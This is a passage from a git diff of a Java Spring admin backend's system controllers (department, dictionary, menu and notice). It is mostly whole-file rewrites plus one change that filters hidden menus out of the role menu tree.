{ + return R.warn("存在下级部门,不允许删除"); + } + if (deptService.checkDeptExistUser(deptId)) { + return R.warn("部门存在用户,不允许删除"); + } + if (postService.countPostByDeptId(deptId) > 0) { + return R.warn("部门存在岗位,不允许删除"); + } + deptService.checkDeptDataScope(deptId); + return toAjax(deptService.deleteDeptById(deptId)); + } + + /** + * 获取部门选择框列表 + * + * @param deptIds 部门ID串 + */ + @SaCheckPermission("system:dept:query") + @GetMapping("/optionselect") + public R> optionselect(@RequestParam(required = false) Long[] deptIds) { + return R.ok(deptService.selectDeptByIds(deptIds == null ? null : List.of(deptIds))); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDictDataController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDictDataController.java index 382f741..8c0f356 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDictDataController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDictDataController.java @@ -1,123 +1,123 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysDictDataBo; -import org.dromara.system.domain.vo.SysDictDataVo; -import org.dromara.system.service.ISysDictDataService; -import org.dromara.system.service.ISysDictTypeService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.ArrayList; -import java.util.List; - -/** - * 数据字典信息 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/dict/data") -public class SysDictDataController extends BaseController { - - private final ISysDictDataService dictDataService; - private final ISysDictTypeService dictTypeService; - - /** - * 查询字典数据列表 - */ - @SaCheckPermission("system:dict:list") - @GetMapping("/list") - public TableDataInfo list(SysDictDataBo dictData, PageQuery pageQuery) { - return dictDataService.selectPageDictDataList(dictData, pageQuery); - } - - /** - * 导出字典数据列表 - */ - @Log(title = "字典数据", businessType = BusinessType.EXPORT) - @SaCheckPermission("system:dict:export") - @PostMapping("/export") - public void export(SysDictDataBo dictData, HttpServletResponse response) { - List list = dictDataService.selectDictDataList(dictData); - ExcelUtil.exportExcel(list, "字典数据", SysDictDataVo.class, response); - } - - /** - * 查询字典数据详细 - * - * @param dictCode 字典code - */ - @SaCheckPermission("system:dict:query") - @GetMapping(value = "/{dictCode}") - public R getInfo(@PathVariable Long dictCode) { - return R.ok(dictDataService.selectDictDataById(dictCode)); - } - - /** - * 根据字典类型查询字典数据信息 - * - * @param dictType 字典类型 - */ - @GetMapping(value = "/type/{dictType}") - public R> dictType(@PathVariable String dictType) { - List data = dictTypeService.selectDictDataByType(dictType); - if (ObjectUtil.isNull(data)) { - data = new ArrayList<>(); - } - return R.ok(data); - } - - /** - * 新增字典类型 - */ - @SaCheckPermission("system:dict:add") - @Log(title = "字典数据", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysDictDataBo dict) { - if (!dictDataService.checkDictDataUnique(dict)) { - return R.fail("新增字典数据'" + dict.getDictValue() + "'失败,字典键值已存在"); - } - dictDataService.insertDictData(dict); - return R.ok(); - } - - /** - * 修改保存字典类型 - */ - @SaCheckPermission("system:dict:edit") - @Log(title = "字典数据", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysDictDataBo dict) { - if (!dictDataService.checkDictDataUnique(dict)) { - return R.fail("修改字典数据'" + dict.getDictValue() + "'失败,字典键值已存在"); - } - dictDataService.updateDictData(dict); - return R.ok(); - } - - /** - * 删除字典类型 - * - * @param dictCodes 字典code串 - */ - @SaCheckPermission("system:dict:remove") - @Log(title = "字典类型", businessType = BusinessType.DELETE) - @DeleteMapping("/{dictCodes}") - public R remove(@PathVariable Long[] dictCodes) { - dictDataService.deleteDictDataByIds(dictCodes); - return R.ok(); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysDictDataBo; +import org.dromara.system.domain.vo.SysDictDataVo; +import org.dromara.system.service.ISysDictDataService; +import org.dromara.system.service.ISysDictTypeService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.ArrayList; +import java.util.List; + +/** + * 数据字典信息 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/dict/data") +public class SysDictDataController extends BaseController { + + private final ISysDictDataService dictDataService; + private final ISysDictTypeService dictTypeService; + + /** + * 查询字典数据列表 + */ + @SaCheckPermission("system:dict:list") + @GetMapping("/list") + public TableDataInfo list(SysDictDataBo dictData, PageQuery pageQuery) { + return dictDataService.selectPageDictDataList(dictData, pageQuery); + } + + /** + * 导出字典数据列表 + */ + @Log(title = "字典数据", businessType = BusinessType.EXPORT) + @SaCheckPermission("system:dict:export") + @PostMapping("/export") + public void export(SysDictDataBo dictData, HttpServletResponse response) { + List list = dictDataService.selectDictDataList(dictData); + ExcelUtil.exportExcel(list, "字典数据", SysDictDataVo.class, response); + } + + /** + * 查询字典数据详细 + * + * @param dictCode 字典code + */ + @SaCheckPermission("system:dict:query") + @GetMapping(value = "/{dictCode}") + public R getInfo(@PathVariable Long dictCode) { + return R.ok(dictDataService.selectDictDataById(dictCode)); + } + + /** + * 根据字典类型查询字典数据信息 + * + * @param dictType 字典类型 + */ + @GetMapping(value = "/type/{dictType}") + public R> dictType(@PathVariable String dictType) { + List data = dictTypeService.selectDictDataByType(dictType); + if (ObjectUtil.isNull(data)) { + data = new ArrayList<>(); + } + return R.ok(data); + } + + /** + * 新增字典类型 + */ + @SaCheckPermission("system:dict:add") + @Log(title = "字典数据", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysDictDataBo dict) { + if (!dictDataService.checkDictDataUnique(dict)) { + return R.fail("新增字典数据'" + dict.getDictValue() + "'失败,字典键值已存在"); + } + dictDataService.insertDictData(dict); + return R.ok(); + } + + /** + * 修改保存字典类型 + */ + @SaCheckPermission("system:dict:edit") + @Log(title = "字典数据", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysDictDataBo dict) { + if (!dictDataService.checkDictDataUnique(dict)) { + return R.fail("修改字典数据'" + dict.getDictValue() + "'失败,字典键值已存在"); + } + dictDataService.updateDictData(dict); + return R.ok(); + } + + /** + * 删除字典类型 + * + * @param dictCodes 字典code串 + */ + @SaCheckPermission("system:dict:remove") + @Log(title = "字典类型", businessType = BusinessType.DELETE) + @DeleteMapping("/{dictCodes}") + public R remove(@PathVariable Long[] dictCodes) { + dictDataService.deleteDictDataByIds(dictCodes); + return R.ok(); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDictTypeController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDictTypeController.java index 1e0b985..32768da 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDictTypeController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDictTypeController.java @@ -1,125 +1,125 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysDictTypeBo; -import org.dromara.system.domain.vo.SysDictTypeVo; -import org.dromara.system.service.ISysDictTypeService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 数据字典信息 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/dict/type") -public class SysDictTypeController extends BaseController { - - private final ISysDictTypeService dictTypeService; - - /** - * 查询字典类型列表 - */ - @SaCheckPermission("system:dict:list") - @GetMapping("/list") - public TableDataInfo list(SysDictTypeBo dictType, PageQuery pageQuery) { - return dictTypeService.selectPageDictTypeList(dictType, pageQuery); - } - - /** - * 导出字典类型列表 - */ - @Log(title = "字典类型", businessType = BusinessType.EXPORT) - @SaCheckPermission("system:dict:export") - @PostMapping("/export") - public void export(SysDictTypeBo dictType, HttpServletResponse response) { - List list = dictTypeService.selectDictTypeList(dictType); - ExcelUtil.exportExcel(list, "字典类型", SysDictTypeVo.class, response); - } - - /** - * 查询字典类型详细 - * - * @param dictId 字典ID - */ - @SaCheckPermission("system:dict:query") - @GetMapping(value = "/{dictId}") - public R getInfo(@PathVariable Long dictId) { - return R.ok(dictTypeService.selectDictTypeById(dictId)); - } - - /** - * 新增字典类型 - */ - @SaCheckPermission("system:dict:add") - @Log(title = "字典类型", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysDictTypeBo dict) { - if (!dictTypeService.checkDictTypeUnique(dict)) { - return R.fail("新增字典'" + dict.getDictName() + "'失败,字典类型已存在"); - } - dictTypeService.insertDictType(dict); - return R.ok(); - } - - /** - * 修改字典类型 - */ - @SaCheckPermission("system:dict:edit") - @Log(title = "字典类型", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysDictTypeBo dict) { - if (!dictTypeService.checkDictTypeUnique(dict)) { - return R.fail("修改字典'" + dict.getDictName() + "'失败,字典类型已存在"); - } - dictTypeService.updateDictType(dict); - return R.ok(); - } - - /** - * 删除字典类型 - * - * @param dictIds 字典ID串 - */ - @SaCheckPermission("system:dict:remove") - @Log(title = "字典类型", businessType = BusinessType.DELETE) - @DeleteMapping("/{dictIds}") - public R remove(@PathVariable Long[] dictIds) { - dictTypeService.deleteDictTypeByIds(dictIds); - return R.ok(); - } - - /** - * 刷新字典缓存 - */ - @SaCheckPermission("system:dict:remove") - @Log(title = "字典类型", businessType = BusinessType.CLEAN) - @DeleteMapping("/refreshCache") - public R refreshCache() { - dictTypeService.resetDictCache(); - return R.ok(); - } - - /** - * 获取字典选择框列表 - */ - @GetMapping("/optionselect") - public R> optionselect() { - List dictTypes = dictTypeService.selectDictTypeAll(); - return R.ok(dictTypes); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysDictTypeBo; +import org.dromara.system.domain.vo.SysDictTypeVo; +import org.dromara.system.service.ISysDictTypeService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 数据字典信息 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/dict/type") +public class SysDictTypeController extends BaseController { + + private final ISysDictTypeService dictTypeService; + + /** + * 查询字典类型列表 + */ + @SaCheckPermission("system:dict:list") + @GetMapping("/list") + public TableDataInfo list(SysDictTypeBo dictType, PageQuery pageQuery) { + return dictTypeService.selectPageDictTypeList(dictType, pageQuery); + } + + /** + * 导出字典类型列表 + */ + @Log(title = "字典类型", businessType = BusinessType.EXPORT) + @SaCheckPermission("system:dict:export") + @PostMapping("/export") + public void export(SysDictTypeBo dictType, HttpServletResponse response) { + List list = dictTypeService.selectDictTypeList(dictType); + ExcelUtil.exportExcel(list, "字典类型", SysDictTypeVo.class, response); + } + + /** + * 查询字典类型详细 + * + * @param dictId 字典ID + */ + @SaCheckPermission("system:dict:query") + @GetMapping(value = "/{dictId}") + public R getInfo(@PathVariable Long dictId) { + return R.ok(dictTypeService.selectDictTypeById(dictId)); + } + + /** + * 新增字典类型 + */ + @SaCheckPermission("system:dict:add") + @Log(title = "字典类型", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysDictTypeBo dict) { + if (!dictTypeService.checkDictTypeUnique(dict)) { + return R.fail("新增字典'" + dict.getDictName() + "'失败,字典类型已存在"); + } + dictTypeService.insertDictType(dict); + return R.ok(); + } + + /** + * 修改字典类型 + */ + @SaCheckPermission("system:dict:edit") + @Log(title = "字典类型", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysDictTypeBo dict) { + if (!dictTypeService.checkDictTypeUnique(dict)) { + return R.fail("修改字典'" + dict.getDictName() + "'失败,字典类型已存在"); + } + dictTypeService.updateDictType(dict); + return R.ok(); + } + + /** + * 删除字典类型 + * + * @param dictIds 字典ID串 + */ + @SaCheckPermission("system:dict:remove") + @Log(title = "字典类型", businessType = BusinessType.DELETE) + @DeleteMapping("/{dictIds}") + public R remove(@PathVariable Long[] dictIds) { + dictTypeService.deleteDictTypeByIds(dictIds); + return R.ok(); + } + + /** + * 刷新字典缓存 + */ + @SaCheckPermission("system:dict:remove") + @Log(title = "字典类型", businessType = BusinessType.CLEAN) + @DeleteMapping("/refreshCache") + public R refreshCache() { + dictTypeService.resetDictCache(); + return R.ok(); + } + + /** + * 获取字典选择框列表 + */ + @GetMapping("/optionselect") + public R> optionselect() { + List dictTypes = dictTypeService.selectDictTypeAll(); + return R.ok(dictTypes); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysMenuController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysMenuController.java index d8cd335..0b7cd62 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysMenuController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysMenuController.java @@ -1,174 +1,178 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.dev33.satoken.annotation.SaCheckRole; -import cn.dev33.satoken.annotation.SaMode; -import cn.hutool.core.lang.tree.Tree; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.constant.TenantConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.SysMenu; -import org.dromara.system.domain.bo.SysMenuBo; -import org.dromara.system.domain.vo.MenuTreeSelectVo; -import org.dromara.system.domain.vo.RouterVo; -import org.dromara.system.domain.vo.SysMenuVo; -import org.dromara.system.service.ISysMenuService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 菜单信息 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/menu") -public class SysMenuController extends BaseController { - - private final ISysMenuService menuService; - - /** - * 获取路由信息 - * - * @return 路由信息 - */ - @GetMapping("/getRouters") - public R> getRouters() { - List menus = menuService.selectMenuTreeByUserId(LoginHelper.getUserId()); - return R.ok(menuService.buildMenus(menus)); - } - - /** - * 获取菜单列表 - */ - @SaCheckRole(value = { - TenantConstants.SUPER_ADMIN_ROLE_KEY, - TenantConstants.TENANT_ADMIN_ROLE_KEY - }, mode = SaMode.OR) - @SaCheckPermission("system:menu:list") - @GetMapping("/list") - public R> list(SysMenuBo menu) { - List menus = menuService.selectMenuList(menu, LoginHelper.getUserId()); - return R.ok(menus); - } - - /** - * 根据菜单编号获取详细信息 - * - * @param menuId 菜单ID - */ - @SaCheckRole(value = { - TenantConstants.SUPER_ADMIN_ROLE_KEY, - TenantConstants.TENANT_ADMIN_ROLE_KEY - }, mode = SaMode.OR) - @SaCheckPermission("system:menu:query") - @GetMapping(value = "/{menuId}") - public R getInfo(@PathVariable Long menuId) { - return R.ok(menuService.selectMenuById(menuId)); - } - - /** - * 获取菜单下拉树列表 - */ - @SaCheckPermission("system:menu:query") - @GetMapping("/treeselect") - public R>> treeselect(SysMenuBo menu) { - List menus = menuService.selectMenuList(menu, LoginHelper.getUserId()); - return R.ok(menuService.buildMenuTreeSelect(menus)); - } - - /** - * 加载对应角色菜单列表树 - * - * @param roleId 角色ID - */ - @SaCheckPermission("system:menu:query") - @GetMapping(value = "/roleMenuTreeselect/{roleId}") - public R roleMenuTreeselect(@PathVariable("roleId") Long roleId) { - List menus = menuService.selectMenuList(LoginHelper.getUserId()); - MenuTreeSelectVo selectVo = new MenuTreeSelectVo(); - selectVo.setCheckedKeys(menuService.selectMenuListByRoleId(roleId)); - selectVo.setMenus(menuService.buildMenuTreeSelect(menus)); - return R.ok(selectVo); - } - - /** - * 加载对应租户套餐菜单列表树 - * - * @param packageId 租户套餐ID - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:menu:query") - @GetMapping(value = "/tenantPackageMenuTreeselect/{packageId}") - public R tenantPackageMenuTreeselect(@PathVariable("packageId") Long packageId) { - List menus = menuService.selectMenuList(LoginHelper.getUserId()); - MenuTreeSelectVo selectVo = new MenuTreeSelectVo(); - selectVo.setCheckedKeys(menuService.selectMenuListByPackageId(packageId)); - selectVo.setMenus(menuService.buildMenuTreeSelect(menus)); - return R.ok(selectVo); - } - - /** - * 新增菜单 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:menu:add") - @Log(title = "菜单管理", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysMenuBo menu) { - if (!menuService.checkMenuNameUnique(menu)) { - return R.fail("新增菜单'" + menu.getMenuName() + "'失败,菜单名称已存在"); - } else if (SystemConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath())) { - return R.fail("新增菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头"); - } - return toAjax(menuService.insertMenu(menu)); - } - - /** - * 修改菜单 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:menu:edit") - @Log(title = "菜单管理", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysMenuBo menu) { - if (!menuService.checkMenuNameUnique(menu)) { - return R.fail("修改菜单'" + menu.getMenuName() + "'失败,菜单名称已存在"); - } else if (SystemConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath())) { - return R.fail("修改菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头"); - } else if (menu.getMenuId().equals(menu.getParentId())) { - return R.fail("修改菜单'" + menu.getMenuName() + "'失败,上级菜单不能选择自己"); - } - return toAjax(menuService.updateMenu(menu)); - } - - /** - * 删除菜单 - * - * @param menuId 菜单ID - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:menu:remove") - @Log(title = "菜单管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{menuId}") - public R remove(@PathVariable("menuId") Long menuId) { - if (menuService.hasChildByMenuId(menuId)) { - return R.warn("存在子菜单,不允许删除"); - } - if (menuService.checkMenuExistRole(menuId)) { - return R.warn("菜单已分配,不允许删除"); - } - return toAjax(menuService.deleteMenuById(menuId)); - } - -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.dev33.satoken.annotation.SaCheckRole; +import cn.dev33.satoken.annotation.SaMode; +import cn.hutool.core.lang.tree.Tree; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.constant.TenantConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.SysMenu; +import org.dromara.system.domain.bo.SysMenuBo; +import org.dromara.system.domain.vo.MenuTreeSelectVo; +import org.dromara.system.domain.vo.RouterVo; +import org.dromara.system.domain.vo.SysMenuVo; +import org.dromara.system.service.ISysMenuService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 菜单信息 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/menu") +public class SysMenuController extends BaseController { + + private final ISysMenuService menuService; + + /** + * 获取路由信息 + * + * @return 路由信息 + */ + @GetMapping("/getRouters") + public R> getRouters() { + List menus = menuService.selectMenuTreeByUserId(LoginHelper.getUserId()); + return R.ok(menuService.buildMenus(menus)); + } + + /** + * 获取菜单列表 + */ + @SaCheckRole(value = { + TenantConstants.SUPER_ADMIN_ROLE_KEY, + TenantConstants.TENANT_ADMIN_ROLE_KEY + }, mode = SaMode.OR) + @SaCheckPermission("system:menu:list") + @GetMapping("/list") + public R> list(SysMenuBo menu) { + List menus = menuService.selectMenuList(menu, LoginHelper.getUserId()); + return R.ok(menus); + } + + /** + * 根据菜单编号获取详细信息 + * + * @param menuId 菜单ID + */ + @SaCheckRole(value = { + TenantConstants.SUPER_ADMIN_ROLE_KEY, + TenantConstants.TENANT_ADMIN_ROLE_KEY + }, mode = SaMode.OR) + @SaCheckPermission("system:menu:query") + @GetMapping(value = "/{menuId}") + public R getInfo(@PathVariable Long menuId) { + return R.ok(menuService.selectMenuById(menuId)); + } + + /** + * 获取菜单下拉树列表 + */ + @SaCheckPermission("system:menu:query") + @GetMapping("/treeselect") + public R>> treeselect(SysMenuBo menu) { + List menus = menuService.selectMenuList(menu, LoginHelper.getUserId()); + return R.ok(menuService.buildMenuTreeSelect(menus)); + } + + /** + * 加载对应角色菜单列表树 + * + * @param roleId 角色ID + */ + @SaCheckPermission("system:menu:query") + @GetMapping(value = "/roleMenuTreeselect/{roleId}") + public R roleMenuTreeselect(@PathVariable("roleId") Long roleId) { + List menus = menuService.selectMenuList(LoginHelper.getUserId()); + + // 过滤掉隐藏的菜单 + menus.removeIf(menu -> SystemConstants.DISABLE.equals(menu.getVisible())); + + MenuTreeSelectVo selectVo = new MenuTreeSelectVo(); + selectVo.setCheckedKeys(menuService.selectMenuListByRoleId(roleId)); + selectVo.setMenus(menuService.buildMenuTreeSelect(menus)); + return R.ok(selectVo); + } + + /** + * 加载对应租户套餐菜单列表树 + * + * @param packageId 租户套餐ID + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:menu:query") + @GetMapping(value = "/tenantPackageMenuTreeselect/{packageId}") + public R tenantPackageMenuTreeselect(@PathVariable("packageId") Long packageId) { + List menus = menuService.selectMenuList(LoginHelper.getUserId()); + MenuTreeSelectVo selectVo = new MenuTreeSelectVo(); + selectVo.setCheckedKeys(menuService.selectMenuListByPackageId(packageId)); + selectVo.setMenus(menuService.buildMenuTreeSelect(menus)); + return R.ok(selectVo); + } + + /** + * 新增菜单 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:menu:add") + @Log(title = "菜单管理", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysMenuBo menu) { + if (!menuService.checkMenuNameUnique(menu)) { + return R.fail("新增菜单'" + menu.getMenuName() + "'失败,菜单名称已存在"); + } else if (SystemConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath())) { + return R.fail("新增菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头"); + } + return toAjax(menuService.insertMenu(menu)); + } + + /** + * 修改菜单 + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:menu:edit") + @Log(title = "菜单管理", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysMenuBo menu) { + if (!menuService.checkMenuNameUnique(menu)) { + return R.fail("修改菜单'" + menu.getMenuName() + "'失败,菜单名称已存在"); + } else if (SystemConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath())) { + return R.fail("修改菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头"); + } else if (menu.getMenuId().equals(menu.getParentId())) { + return R.fail("修改菜单'" + menu.getMenuName() + "'失败,上级菜单不能选择自己"); + } + return toAjax(menuService.updateMenu(menu)); + } + + /** + * 删除菜单 + * + * @param menuId 菜单ID + */ + @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) + @SaCheckPermission("system:menu:remove") + @Log(title = "菜单管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{menuId}") + public R remove(@PathVariable("menuId") Long menuId) { + if (menuService.hasChildByMenuId(menuId)) { + return R.warn("存在子菜单,不允许删除"); + } + if (menuService.checkMenuExistRole(menuId)) { + return R.warn("菜单已分配,不允许删除"); + } + return toAjax(menuService.deleteMenuById(menuId)); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysNoticeController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysNoticeController.java index 5d65137..36cefc4 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysNoticeController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysNoticeController.java @@ -1,90 +1,90 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.service.DictService; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.sse.utils.SseMessageUtils; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysNoticeBo; -import org.dromara.system.domain.vo.SysNoticeVo; -import org.dromara.system.service.ISysNoticeService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -/** - * 公告 信息操作处理 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/notice") -public class SysNoticeController extends BaseController { - - private final ISysNoticeService noticeService; - private final DictService dictService; - - /** - * 获取通知公告列表 - */ - @SaCheckPermission("system:notice:list") - @GetMapping("/list") - public TableDataInfo list(SysNoticeBo notice, PageQuery pageQuery) { - return noticeService.selectPageNoticeList(notice, pageQuery); - } - - /** - * 根据通知公告编号获取详细信息 - * - * @param noticeId 公告ID - */ - @SaCheckPermission("system:notice:query") - @GetMapping(value = "/{noticeId}") - public R getInfo(@PathVariable Long noticeId) { - return R.ok(noticeService.selectNoticeById(noticeId)); - } - - /** - * 新增通知公告 - */ - @SaCheckPermission("system:notice:add") - @Log(title = "通知公告", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysNoticeBo notice) { - int rows = noticeService.insertNotice(notice); - if (rows <= 0) { - return R.fail(); - } - String type = dictService.getDictLabel("sys_notice_type", notice.getNoticeType()); - SseMessageUtils.publishAll("[" + type + "] " + notice.getNoticeTitle()); - return R.ok(); - } - - /** - * 修改通知公告 - */ - @SaCheckPermission("system:notice:edit") - @Log(title = "通知公告", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysNoticeBo notice) { - return toAjax(noticeService.updateNotice(notice)); - } - - /** - * 删除通知公告 - * - * @param noticeIds 公告ID串 - */ - @SaCheckPermission("system:notice:remove") - @Log(title = "通知公告", businessType = BusinessType.DELETE) - @DeleteMapping("/{noticeIds}") - public R remove(@PathVariable Long[] noticeIds) { - return toAjax(noticeService.deleteNoticeByIds(noticeIds)); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.service.DictService; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.sse.utils.SseMessageUtils; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysNoticeBo; +import org.dromara.system.domain.vo.SysNoticeVo; +import org.dromara.system.service.ISysNoticeService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +/** + * 公告 信息操作处理 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/notice") +public class SysNoticeController extends BaseController { + + private final ISysNoticeService noticeService; + private final DictService dictService; + + /** + * 获取通知公告列表 + */ + @SaCheckPermission("system:notice:list") + @GetMapping("/list") + public TableDataInfo 